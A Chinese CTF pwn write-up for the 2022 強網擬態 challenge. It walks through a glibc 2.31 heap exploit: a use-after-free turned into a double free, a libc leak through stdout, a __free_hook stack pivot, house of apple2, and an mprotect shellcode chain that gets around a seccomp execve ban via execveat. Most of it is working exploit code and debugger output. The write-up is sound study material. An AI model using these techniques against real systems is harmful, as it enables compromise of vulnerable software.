強網擬態-2022-pwn-only
強網擬態-2022-pwn-only
總結
-
該題的沙箱我們可以通過execveat繞過,但是注意execveat是個系統呼叫
-
2.29以後存在一個key(bk)檢查,不能直接double free
-
可以通過已經申請一個存在的tcachebins尾往上一點的地址修改size和直接偽造double free
-
house of apple2 + 棧遷移的使用
-
高版本__free_hook用不了setcontext時,如何棧遷移?
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; mov rsp, rdx; ret
注意rdx是關鍵!
-
house of botcake++(?)
逆向分析
glibc版本
$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 9.3.0. libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GLIBC版本是2.31沒啥特別的點需要強調,順便一說GLIBC2.32有對齊檢查和指標加密,處理起來有點麻煩
好吧,有需要強調的點,double free時不能直接double free了,要修改key啥的,或者house of botcake
關鍵函式
-
init函式
unsigned __int64 sub_135D() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); signal(14, (__sighandler_t)((char *)sub_1328 + 1)); alarm(0x3Cu); v1 = seccomp_init(0x7FFF0000LL); seccomp_rule_add(v1, 0LL, 59LL, 0LL); seccomp_load(v1); //在這開啟了沙盒 return __readfsqword(0x28u) ^ v2; }
可知,開啟了沙盒,它可能會使程式中殘留chunk,如下(詳細佔個坑)
pwndbg> bin tcachebins 0x20 [ 7]: 0x5586c32cc8f0 —▸ 0x5586c32cca00 —▸ 0x5586c32cccb0 —▸ 0x5586c32cce30 —▸ 0x5586c32ccc90 —▸ 0x5586c32ccf40 —▸ 0x5586c32ccb10 ◂— 0x0 0x50 [ 1]: 0x5586c32ccf60 ◂— 0x0 0x70 [ 7]: 0x5586c32cc800 —▸ 0x5586c32ccba0 —▸ 0x5586c32cc910 —▸ 0x5586c32ccb30 —▸ 0x5586c32cccd0 —▸ 0x5586c32cce50 —▸ 0x5586c32cca20 ◂— 0x0 0x80 [ 5]: 0x5586c32cc870 —▸ 0x5586c32cc980 —▸ 0x5586c32ccc10 —▸ 0x5586c32ccec0 —▸ 0x5586c32cca90 ◂— 0x0 0xd0 [ 1]: 0x5586c32cc350 ◂— 0x0 0xf0 [ 2]: 0x5586c32ccd40 —▸ 0x5586c32cc6b0 ◂— 0x0 fastbins 0x20: 0x5586c32cc7d0 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
沙盒規則如下
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007(這裡規定了只能使用64位系統呼叫) 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
-
Increase函式
unsigned __int64 sub_161C() { int size; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( !heap_num ) exit(0); printf("Size:"); size = read_line(); if ( size <= 0 || size > 0xE7 ) { puts("Error"); exit(0); } heap_prt = malloc(size); if ( !heap_prt ) { puts("Error"); exit(0); } printf("Content:"); raed_n(heap_prt, size); --heap_num; puts("Done!"); return __readfsqword(0x28u) ^ v2; }
邏輯很簡單,輸入size,然後往size裡輸入內容,其中heap_num的值是0xb
-
Initial函式
unsigned __int64 sub_17B0() { int size; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( edit_flag == 0xDEADBEEF ) { edit_flag = 0; size = 0x10; if ( !heap_prt ) { printf("Size:"); size = read_line(); if ( size <= 0 || size > 231 ) { puts("Error"); exit(0); } heap_prt = malloc(size); if ( !heap_prt ) { puts("Error"); exit(0); } } memset(heap_prt, 0, size); } return __readfsqword(0x28u) ^ v2; }
簡單看看就知道邏輯是申請一個chunk,然後將裡面全改成0
-
Decrease函式:
unsigned __int64 sub_1734() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); if ( !free_num ) exit(0); free(heap_prt); --free_num; puts("Done!"); return __readfsqword(0x28u) ^ v1; }
存在uaf
總結
- Increase與Initial函式可以申請任意大小的chunk
- Initial函式只能使用1次
- Increase函式可以使用0xb次
- Decrease函式存在uaf漏洞
- 程式邏輯都是對最新申請的chunk進行修改,要狠狠的考慮堆風水
- 程式開始時有chunk殘留
漏洞利用
前言
-
首先考慮如何getflag,由於是GLIBC2.31,我們就可以考慮打hook,但是題目開了沙盒,我們不可能直接就system('/bin/sh')。此時注意一下沙盒規則,就會發現可以使用execveat('/bin/sh'),此時有以下思路
-
修改freehook為execveat,然後free一個有/bin/sh的chunk(但free只有4次使用機會,得好好考慮...恩不包括最後一次,只有3次使用機會)(execveat是系統呼叫,我們沒辦法直接將free_hook改成execveat) -
利用以下gadget實現orw
(1) mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; (2) 0x7f5a85218046 <setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8] 0x7f5a8521804d <setcontext+301>: push rcx 0x7f5a8521804e <setcontext+302>: mov rsi,QWORD PTR [rdx+0x70] 0x7f5a85218052 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68] 0x7f5a85218056 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98] pwndbg> 0x7f5a8521805d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28] 0x7f5a85218061 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30] 0x7f5a85218065 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88] 0x7f5a8521806c <setcontext+332>: xor eax,eax 0x7f5a8521806e <setcontext+334>: ret
該思路由下面分析可知,不能使用,主要是因為我們無法控制chunk內0xa8的資料
-
棧遷移然後mprotect + execveat_bin_sh_shellcode(我們選擇該思路進行攻擊)
-
[...]
-
過程
-
利用殘留的chunk,製作一個指向自己的tcache,即double free,如下
#------------make a double free---------------------- increace(0xe0) decreace() #time1 initial() decreace() #time2 #------------now we have a double free---------------
-
然後利用uaf部分寫(16分之1的概率),將一條儘可能長的tcachebins的尾結點-0x10寫到我們uaf控制tcachebins裡(儘可能長是為了可以多次申請利用)(前者我們簡記為TA)
#------------we use double free prt to malloc a full tcache list------------------ #remote off1 = 0x47f0 off2 = 0xd6a0 #local off1 = (get_current_heapbase_addr() + 0x7f0)&0xffff off2 = (get_current_libcbase_addr() + 0x1ed6a0)&0xffff log_address_ex2(off1) log_address_ex2(off2) off1 &= 0xffff off2 &= 0xffff #部分寫,16分1的概率改成以下鏈 #0x70 [ 7]: 0x561303b27800 —▸ 0x561303b27ba0 —▸ 0x561303b27910 —▸ 0x561303b27b30 —▸ 0x561303b27cd0 —▸ 0x561303b27e50 —▸ 0x561303b27a20 ◂— 0x0 #這一步的目的是使double free可以多次使用malloc increace(0xe0, p16_ex(off1)) increace(0xe0)
-
申請我們uaf製造TA處的記憶體,完成偽造TA尾結點tcache的size和fd(fd為double free),從而製造出UB
#------------------------------------------------------------------------ #fake a big chunk,and fake a fd point to make double free increace(0xe0, flat(0, 0x761, p16(off1+0x10))) ''' before: tele 0x55ce5431b7f0 00:0000│ 0x55ce5431b7f0 ◂— 0x0 01:0008│ 0x55ce5431b7f8 ◂— 0x71 /* 'q' */ 02:0010│ 0x55ce5431b800 —▸ 0x55ce5431bba0 —▸ 0x55ce5431b910 —▸ 0x55ce5431bb30 —▸ 0x55ce5431bcd0 ◂— ... 03:0018│ 0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007 after: pwndbg> tele 0x55ce5431b7f0 00:0000│ 0x55ce5431b7f0 ◂— 0x0 01:0008│ 0x55ce5431b7f8 ◂— 0x761 02:0010│ 0x55ce5431b800 ◂— 0x55ce5431b800 make a double free 03:0018│ 0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007 ''' #------------------------------------------------------------------------
-
按照TA的size申請它對應的chunk(事實上我們申請的chunk的size是被我們改過的)
#------------------------------------------------------------------------ increace(0x60) #As a matter of fact, we malloc(0x750),
-
將該chunk free了,得到UB
decreace() #time3
此時我們會發現TA中還有原來的尾結點,而它也存在UB中,而且TA中多出了main_arena+96,就像house of botcake一樣,
-
申請一個size不在tcachebins裡的chunk,這樣就會從UB中切割,他的fd殘留了main_arena+96,而且也是TA的尾結點,爆破攻擊_IO_2_1_stdout_洩露libc地址,修改前
pwndbg> fp 0x7f628bfa26a0 $1 = { file = { _flags = -72537977, _IO_read_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f628bfa2724 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f628bfa1980 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7f628bfa37e0 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7f628bfa1880 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f628bf9e4a0 <_IO_file_jumps> }
修改後(在呼叫輸出函式前看)
fp 0x7fb9d9a6c6a0 $1 = { file = { _flags = -72542073, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x7fb9d9a6c700 <_IO_2_1_stdout_+96> "", _IO_write_ptr = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7fb9d9a6c724 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7fb9d9a6b980 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7fb9d9a6d7e0 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7fb9d9a6b880 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7fb9d9a684a0 <_IO_file_jumps> }
#--------------------house of botcake------------------------------------ #now, we make a big chunk into unsortedbin(house of botcake) #malloc one that didn't show up in tcache list size. increace(0x20, p16(off2)) increace(0x60) increace(0x60, flat(0xfbad1887, 0, 0, 0, "\x00")) #------------------------------------------------------------------------ lbaddr = recv_current_libc_addr(timeout=1) lb = 0 lb = set_current_libc_base_and_log(lbaddr, 0x1ec980) lb = lbaddr-0x1ec980 libc.address = lb log_address_ex2(lb) #-------------------now we leak libcbase---------------------------------
-
此時我們有了libc地址就可以攻擊free_hook
通過切割UB,攻擊tcachebins即可
#-------------------attack free_hook------------------------------------- ''' unsortedbin all: 0x55912c67b820 —▸ 0x7fb31ca11be0 (main_arena+96) ◂— 0x55912c67b820 pwndbg> tele 0x55912c67b820 00:0000│ 0x55912c67b820 ◂— 0x1000100000000 01:0008│ 0x55912c67b828 ◂— 0x731 02:0010│ 0x55912c67b830 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0 03:0018│ 0x55912c67b838 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0 04:0020│ 0x55912c67b840 ◂— 0x0 ↓ 3 skipped pwndbg> 08:0040│ 0x55912c67b860 ◂— 0x0 09:0048│ 0x55912c67b868 ◂— 0x81 0a:0050│ 0x55912c67b870 —▸ 0x55912c67b980 —▸ 0x55912c67bc10 —▸ 0x55912c67bec0 —▸ 0x55912c67ba90 ◂— ... attack this 0b:0058│ 0x55912c67b878 —▸ 0x55912c67b010 ◂— 0x1000000000007 0c:0060│ 0x55912c67b880 ◂— 0x0 we find the offset 0x50 have a tcache list ''' increace(0xe0, flat({ 0x40: libc.sym.__free_hook-0x10 })) free_hook = libc.sym.__free_hook log_address_ex2(free_hook) increace(0x78) # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; # 0x000000000005e650: mov rsp, rdx; ret; # 0x00000000000656e5: add rsp, 0x10; pop rbx; pop r12; pop r13; ret; # 0x0000000000027529: pop rsi; ret; # 0x0000000000026b72: pop rdi; ret; # 0x000000000011c371: pop rdx; pop r12; ret; # 0x000000000005aa48: leave; ret; # 0x00000000000256c0: pop rbp; ret; #now we will malloc free_hook,but the rdi is (__free_hook - 0x10) increace(0x78, flat({ 0x8: libc.sym.__free_hook-0x10+0x18, #減去0x10就是這個attack chunk的mem頭 0x10: libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__(), #1 0x38: libc.search(asm("mov rsp, rdx; ret")).__next__(), #2 0x18: [ libc.search(asm("pop rdi; ret")).__next__(), libc.sym._IO_2_1_stderr_, libc.sym.gets, libc.sym.exit ] })) decreace() #time4s
該exp利用了2個gadget實現了棧遷移,然後gets(IO_2_1_stderr)
-
最後就是apple2 + 棧遷移了
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_, libc.sym._IO_wfile_jumps, libc.search(asm("leave; ret")).__next__(), libc.search(asm("pop rbp; ret")).__next__(), libc.sym._IO_2_1_stderr_ + 0xe0-8) sl(flat({ 0: data, 0xe0: [ libc.search(asm("pop rdi; ret")).__next__(), libc.sym._IO_2_1_stderr_ & ~0xfff, libc.search(asm("pop rsi; ret")).__next__(), 0x1000, libc.search(asm("pop rdx; pop r12; ret")).__next__(), 0x7, 0x0, libc.sym.mprotect, libc.sym._IO_2_1_stderr_ + 0x130 ], 0x130: shellcode }))
細節
__free_hook棧遷移詳解
(一)
執行:
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]
rdi為chunk指標, 執行完該gadget後rdx為chunk + 8處的資料,rsp變成gadget自己的地址。然後跳轉到[chunk+8]+0x28處
(二)
mov rsp, rdx;
ret
該gadget完成了棧遷移,將rsp = chunk + 8處的資料,從該資料代表的地址往下執行,我們在chunk + 8資料代表的地址處佈置ROP鏈即可
(三)
pop rdi; ret
給gets函式佈置引數,形成gets(_IO_2_1_stderr_)
house_of_apple2_stack_pivoting_when_exit詳解
原始碼如下
def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int):
"""make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
assert context.bits == 64, "only support amd64!"
self.flags = 0
self._IO_read_ptr = pop_rbp_addr
self._IO_read_end = fake_rbp_addr
self._IO_read_base = leave_ret_addr
self._IO_write_base = 0
self._IO_write_ptr = 1
self._mode = 0
self._lock = standard_FILE_addr-0x10
self.chain = leave_ret_addr
self._codecvt = standard_FILE_addr
self._wide_data = standard_FILE_addr - 0x48
self.vtable = _IO_wfile_jumps_addr
return self.__bytes__()
house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit
可以得到以下引數解釋:
- 引數1:一個標準的_IO_FILE_plus結構體地址
- 引數2:_IO_wfile_jumps的地址
- 引數3:leave_ret_addr
- 引數4:pop_rbp_addr
- 引數5:要遷移過去的地址+8(因為是通過leave;ret遷移)
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
libc.sym._IO_wfile_jumps,
libc.search(asm("leave; ret")).__next__(),
libc.search(asm("pop rbp; ret")).__next__(),
libc.sym._IO_2_1_stderr_ + 0xe0-8)
就是棧遷移到libc.sym.IO_2_1_stderr + 0xe0,然後執行libc.sym.IO_2_1_stderr + 0xe0處的地址